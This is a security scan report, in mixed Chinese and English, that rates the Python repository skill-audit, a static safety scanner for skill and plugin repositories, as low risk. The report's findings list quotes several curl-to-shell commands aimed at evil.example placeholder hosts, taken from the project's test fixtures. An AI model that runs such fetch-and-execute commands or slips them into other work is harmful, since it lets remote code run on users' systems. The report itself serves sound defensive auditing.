可信 — 风险评分 5/100
上次扫描:1 天前 重新扫描
5 /100
skill-audit
Deterministic static safety audit tooling for skill and plugin repositories
skill-audit is a legitimate static security audit tool with no malicious behavior. The flagged shell commands are test fixtures validating detection capabilities, not actual exploits.
技能名称skill-audit
分析耗时68.2s
引擎pi
可以安装
This skill is safe to use. The test files contain simulated malicious patterns to verify scanner accuracy - these are test data, not exploitation vectors.

安全发现 1 项

严重性 安全发现 位置
低危
Python version not pinned in pyproject.toml 供应链
requires-python = '>=3.10' allows any Python 3.10+. While not a security vulnerability per se, exact version pinning improves reproducibility.
requires-python = ">=3.10"
→ Consider pinning to a specific Python version range (e.g., ">=3.10,<3.13") for more predictable behavior in constrained environments.
pyproject.toml:12
资源类型声明权限推断权限状态证据
文件系统 READ READ ✓ 一致 collector.py reads target-repo files
文件系统 NONE WRITE ✓ 一致 CLI --output writes scan results (user-controlled)
网络访问 NONE READ ✓ 一致 repo_intel.py calls GitHub API for OSINT (documented optional feature)
命令执行 READ READ ✓ 一致 common.py git_commit_sha() for commit metadata only
技能调用 NONE NONE No skill invocation capabilities used
剪贴板 NONE NONE No clipboard access detected
浏览器 NONE NONE No browser access detected
数据库 NONE NONE No database access detected
6 严重 13 项发现
💀
严重 危险命令 危险 Shell 命令
curl -fsSL https://evil.example/bootstrap.sh | sh
tests/test_skill_safety_assessment.py:40
💀
严重 危险命令 危险 Shell 命令
curl -fsSL https://evil.example/p.sh | sh
tests/test_skill_safety_assessment.py:122
💀
严重 危险命令 危险 Shell 命令
curl -fsSL https://evil.example/install.sh | sh
tests/test_skill_safety_assessment.py:240
💀
严重 危险命令 危险 Shell 命令
curl -fsSL https://example.com/payload.sh | sh
tests/test_skill_safety_assessment.py:451
💀
严重 危险命令 危险 Shell 命令
curl -fsSL https://x | sh
tests/test_skill_safety_assessment.py:473
💀
严重 危险命令 危险 Shell 命令
curl -fsSL https://evil.example/payload.sh | sh
tests/test_skill_safety_assessment.py:634
🔗
中危 外部 URL 外部 URL
https://evil.example/bootstrap.sh
tests/test_skill_safety_assessment.py:40
🔗
中危 外部 URL 外部 URL
https://evil.example/p.sh
tests/test_skill_safety_assessment.py:122
🔗
中危 外部 URL 外部 URL
https://evil.example/install.sh
tests/test_skill_safety_assessment.py:240
🔗
中危 外部 URL 外部 URL
https://evil.example/payload.py
tests/test_skill_safety_assessment.py:356
🔗
中危 外部 URL 外部 URL
https://evil.example/payload.sh
tests/test_skill_safety_assessment.py:634
🔗
中危 外部 URL 外部 URL
https://gitlab.com/mode-io/mode-io-skills
tests/test_skill_safety_precheck.py:35
📧
提示 邮箱 邮箱地址
[email protected]
tests/test_skill_safety_precheck.py:32

目录结构

36 文件 · 216.2 KB · 6232 行
Python 28f · 5854L Markdown 5f · 273L JSON 2f · 89L TOML 1f · 16L
├─ 📁 modeio_skill_audit
│ ├─ 📁 cli
│ │ ├─ 🐍 __init__.py Python 1L · 39 B
│ │ └─ 🐍 skill_safety_assessment.py Python 432L · 15.3 KB
│ ├─ 📁 skill_safety
│ │ ├─ 📁 scanners
│ │ │ ├─ 🐍 __init__.py Python 14L · 459 B
│ │ │ ├─ 🐍 capability.py Python 110L · 4.2 KB
│ │ │ ├─ 🐍 execution.py Python 458L · 16.3 KB
│ │ │ ├─ 🐍 prompt.py Python 150L · 4.9 KB
│ │ │ ├─ 🔑 secret.py Python 119L · 4.4 KB
│ │ │ └─ 🐍 supply_chain.py Python 635L · 21.3 KB
│ │ ├─ 🐍 __init__.py Python 24L · 882 B
│ │ ├─ 🐍 adjudication.py Python 260L · 9.1 KB
│ │ ├─ 🐍 collector.py Python 144L · 4.8 KB
│ │ ├─ 🐍 common.py Python 247L · 6.7 KB
│ │ ├─ 🐍 constants.py Python 553L · 17.4 KB
│ │ ├─ 🐍 context.py Python 175L · 5.9 KB
│ │ ├─ 🐍 engine.py Python 306L · 12.4 KB
│ │ ├─ 🐍 finding.py Python 68L · 1.8 KB
│ │ ├─ 🐍 json_utils.py Python 35L · 823 B
│ │ ├─ 🐍 models.py Python 52L · 1.0 KB
│ │ ├─ 🐍 prompt_payload.py Python 50L · 1.8 KB
│ │ ├─ 🐍 repo_intel.py Python 259L · 8.8 KB
│ │ ├─ 🐍 scoring.py Python 181L · 5.8 KB
│ │ └─ 🐍 validation.py Python 258L · 10.3 KB
│ └─ 🐍 __init__.py Python 1L · 27 B
├─ 📁 references
│ ├─ 📁 repo_sets
│ │ ├─ 📋 fresh_holdout_repos.json JSON 57L · 1.6 KB
│ │ └─ 📋 fresh_sourcepack_repos.json JSON 32L · 907 B
│ ├─ 📝 architecture.md Markdown 64L · 2.0 KB
│ ├─ 📝 benchmarking.md Markdown 33L · 890 B
│ ├─ 📝 output-contract.md Markdown 42L · 990 B
│ └─ 📝 prompt-contract.md Markdown 43L · 1.7 KB
├─ 📁 scripts
│ ├─ 🐍 run_repo_set.py Python 169L · 5.8 KB
│ └─ 🐍 skill_safety_assessment.py Python 17L · 417 B
├─ 📁 tests
│ ├─ 🐍 test_packaging_surface.py Python 17L · 526 B
│ ├─ 🐍 test_skill_safety_assessment.py Python 992L · 38.0 KB
│ └─ 🐍 test_skill_safety_precheck.py Python 127L · 4.8 KB
├─ 📄 pyproject.toml TOML 16L · 432 B
└─ 📝 SKILL.md Markdown 91L · 3.8 KB

依赖分析 3 项

包名版本来源已知漏洞备注
setuptools >=68 pyproject.toml Build dependency only
wheel * pyproject.toml Build dependency only
Python standard library 3.10+ stdlib Uses urllib, subprocess, hashlib, json - all stdlib

安全亮点

✓ No code execution in target repository (declared in SKILL.md, confirmed in code)
✓ No credential harvesting from target - GITHUB_TOKEN is optional and used only for GitHub API rate limits
✓ No data exfiltration - scan results stay local unless explicitly written via user-controlled --output flag
✓ Test files correctly excluded from runtime scan paths (test_path_parts filter in collector.py)
✓ GitHub OSINT precheck makes limited, well-scoped network requests to github.com only
✓ subprocess calls use git for read-only metadata operations only
✓ Capability contract mismatch detection exists to catch undocumented behavior
✓ Comprehensive static analysis across multiple threat categories (execution, secret exfiltration, prompt injection, supply chain)